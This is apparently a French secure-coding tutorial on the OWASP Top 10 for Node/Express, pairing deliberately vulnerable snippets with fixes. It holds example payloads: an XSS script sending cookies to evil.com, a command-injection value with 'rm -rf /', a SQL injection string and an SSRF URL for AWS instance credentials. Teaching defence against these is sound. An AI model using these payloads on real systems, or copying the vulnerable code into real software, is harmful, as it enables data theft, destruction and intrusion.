Les 10 principales failles de sécurité (OWASP Top 10)

Qu'est-ce que l'OWASP

• OWASP = Open Worldwide Application Security Project, fondation à but non lucratif
• Publie des standards de sécurité applicative gratuits et open source
• Le Top 10 est mis à jour environ tous les 4 ans (2017, 2021, 2025 en cours)
• Cible : les risques applicatifs, pas les failles d'infra ou de réseau

Ressources gratuites OWASP

• Cheat Sheets : antisèches pratiques par sujet (XSS, CSRF, JWT...)
• ASVS : Application Security Verification Standard, une checklist détaillée
• ZAP : scanner de vulnérabilités open source, équivalent gratuit de Burp Suite
• Threat Dragon : outil de threat modeling

Les patterns courants

• IDOR (Insecure Direct Object Reference) : accéder à /api/users/42 alors qu'on est l'utilisateur 7
• Élévation horizontale : accéder aux données d'un autre user du même niveau
• Élévation verticale : passer de user à admin
• Modifications non autorisées : modifier les données d'un·e autre via une requête forgée

app.get('/api/invoice/:id', (req, res) => {
  res.json(db.invoice.find(req.params.id));
});

app.get('/api/invoice/:id', requireAuth, (req, res) => {
  const inv = db.invoice.find(req.params.id);
  if (!inv) return res.sendStatus(404);
  if (inv.ownerId !== req.user.id) return res.sendStatus(403);
  res.json(inv);
});

Les fondamentaux

• HTTPS partout, HSTS activé pour forcer le HTTPS
• Hasher les mots de passe avec bcrypt, argon2 ou scrypt
• Ne jamais utiliser MD5 ou SHA1 pour des mots de passe (trop rapides, vulnérables aux rainbow tables)
• Ne pas inventer ta crypto : utilise les libs standard (libsodium, Web Crypto API)
• Aucun secret en clair dans le repo ni dans les logs

import crypto from 'crypto';
const hash = crypto.createHash('md5').update(password).digest('hex');

import bcrypt from 'bcrypt';
const hash = await bcrypt.hash(password, 12);

// Comparaison à la connexion
const ok = await bcrypt.compare(passwordFourni, hashStocke);

Injection SQL

db.query(`SELECT * FROM users WHERE email = '${req.body.email}'`);
// Email = "' OR 1=1 --" → renvoie TOUS les users

db.query('SELECT * FROM users WHERE email = ?', [req.body.email]);

Cross-Site Scripting (XSS)

Injecter du JS dans le DOM via une entrée non échappée. L'attaquant peut alors voler des cookies, exécuter du code dans le navigateur de la victime.

res.send(`<p>Bonjour ${req.query.name}</p>`);
// name = "<script>fetch('//evil.com?c='+document.cookie)</script>"

import escapeHtml from 'escape-html';
res.send(`<p>Bonjour ${escapeHtml(req.query.name)}</p>`);

// Avec React/Vue/Svelte, l'échappement est automatique :
// <p>Bonjour {name}</p>

OS Command Injection

Quand tu construis une commande shell avec une input utilisateur. exec('ping ' + req.body.host) avec host = '127.0.0.1; rm -rf /' = catastrophe.

Exemples concrets

• Récupération de mot de passe par questions secrètes (nom de jeune fille, ville de naissance) : facile à deviner via réseaux sociaux
• Pas de rate limiting sur les endpoints sensibles (login, reset password) : brute force possible
• Workflows métier qui contournent la sécurité : un coupon de réduction utilisable plusieurs fois si l'utilisateur·ice rejoue la requête
• Pas de vérification de cohérence : ajouter au panier une quantité négative pour déduire du total

Threat modeling : penser comme un attaquant

Au démarrage d'une feature, prends 30 minutes pour lister : quelles sont les ressources sensibles, qui peut y accéder, par où un attaquant pourrait passer, quelles mitigations. Le framework STRIDE (Spoofing, Tampering, Repudiation, Info disclosure, DoS, Elevation) est un bon point de départ.

Abuse cases

Pour chaque user story, ajoute des abuse cases : « En tant qu'attaquant, je veux contourner X ». Ça pousse à concevoir des protections dès le départ, pas après l'incident.

A05 · Security Misconfiguration

• Ports ouverts inutilement (admin DB exposé sur internet)
• Comptes par défaut laissés actifs (admin / admin)
• Messages d'erreur trop bavards en prod (stack trace complète, version du framework)
• Headers de sécurité manquants (CSP, X-Frame-Options, X-Content-Type-Options)
• CORS ouvert à * sur des endpoints sensibles

import express from 'express';
import helmet from 'helmet';

const app = express();

// Active une douzaine de headers de sécurité par défaut
app.use(helmet());

// CSP plus stricte
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],
    styleSrc: ["'self'", "'unsafe-inline'"],
  },
}));

A06 · Vulnerable & Outdated Components

• Dépendances avec des CVE connues non patchées
• Anciennes versions de Node, runtime, framework
• Libs non maintenues (commit le plus récent il y a 3 ans)

# Scanner les vulnérabilités connues
npm audit
npm audit --audit-level=high

# En CI, bloquer si vulnérabilité haute
npm audit --audit-level=high --omit=dev

# Outils alternatifs / complémentaires
npx snyk test
npx trivy fs .

Les écueils classiques

• Mots de passe faibles autorisés (123456, password)
• Pas de MFA (Multi-Factor Authentication) sur les comptes sensibles
• Sessions sans expiration, ou identifiants prévisibles
• Brute force possible faute de rate limiting
• Cookies de session sans HttpOnly, Secure, SameSite
• Énumération de comptes : « utilisateur·ice inconnu·e » vs « mot de passe incorrect »

res.cookie('sid', token);
// Pas HttpOnly : le JS de la page peut le lire (XSS = vol de session)
// Pas Secure : envoyé même en HTTP
// Pas SameSite : vulnérable au CSRF

res.cookie('sid', token, {
  httpOnly: true,    // Inaccessible en JS
  secure: true,      // HTTPS uniquement
  sameSite: 'lax',   // Mitige le CSRF
  maxAge: 1000 * 60 * 60 * 8,  // 8h max
});

A08 · Software and Data Integrity

• Pipelines CI/CD non signés : un attaquant injecte du code via une action GitHub compromise
• Dépendances tirées sans vérification d'intégrité (pas de package-lock.json commité)
• Désérialisation non sûre (JSON.parse avec un reviver qui exécute du code)

Mitigations : commits signés (GPG ou SSH), package-lock.json en lecture seule en CI (npm ci), pinning des actions GitHub par SHA, Subresource Integrity (SRI) sur les scripts tiers.

A09 · Security Logging and Monitoring Failures

• Pas de log sur les échecs d'auth, les changements de droits, les opérations sensibles
• Pas d'alerte sur comportement anormal (1000 tentatives de login en 1 minute)
• Logs stockés mais jamais relus

A10 · Server-Side Request Forgery (SSRF)

Ton serveur fait une requête HTTP vers une URL fournie par un·e utilisateur·ice (preview de lien, import de fichier distant). L'attaquant pointe vers une URL interne à laquelle ton serveur a accès, mais pas le public.

// User envoie : url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
// → URL spéciale AWS, renvoie les credentials de l'instance EC2 !

const response = await fetch(req.body.url);  // Vulnérable
res.send(await response.text());

const url = new URL(req.body.url);

// Whitelist de domaines autorisés
const ALLOWED_HOSTS = ['api.exemple.fr', 'cdn.exemple.fr'];
if (!ALLOWED_HOSTS.includes(url.hostname)) {
  return res.sendStatus(400);
}

// Bloquer les IP privées (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x)
// Utiliser la lib 'ipaddr.js' pour ça

const response = await fetch(url);
res.send(await response.text());